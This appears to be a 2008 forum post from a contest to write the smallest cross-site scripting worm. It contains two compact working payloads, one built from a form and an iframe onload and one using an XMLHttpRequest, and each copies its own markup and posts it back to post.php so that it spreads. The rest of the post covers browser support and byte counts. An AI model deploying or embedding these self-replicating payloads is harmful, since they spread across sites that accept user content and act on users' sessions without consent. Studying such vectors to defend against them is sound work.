<form id=_ method=post action=post.php><input name='content'><iframe onload=with(_)alert('XSS',submit(_[0].value=_.outerHTML))></form>
meh a crappy 134 :( and Firefox doesn't support outerHTML :( - so this vector is IE, Opera and Safari only.
Also hats of to sdc, shawn, ronald, mario, gareth, doctordan and all the others - you have certainly taught this rookie a thing or 2 (and to think I seriously thought my first submission was the shizznit).
Yes, I realise these worms don't meet the competition criteria but at least we can see how small we can go when we target specific browsers.
EDIT: 111 bytes (IE only again)
<script id=_>alert('xss');with(new XMLHttpRequest)open('POST','post.php'),send('content='+_.outerHTML)</script>
----------
'Just because you got the bacon, lettuce, and tomato don't mean I'm gonna give you my toast.'
Edited 16 time(s). Last edit at 01/08/2008 08:33PM by digi7al64.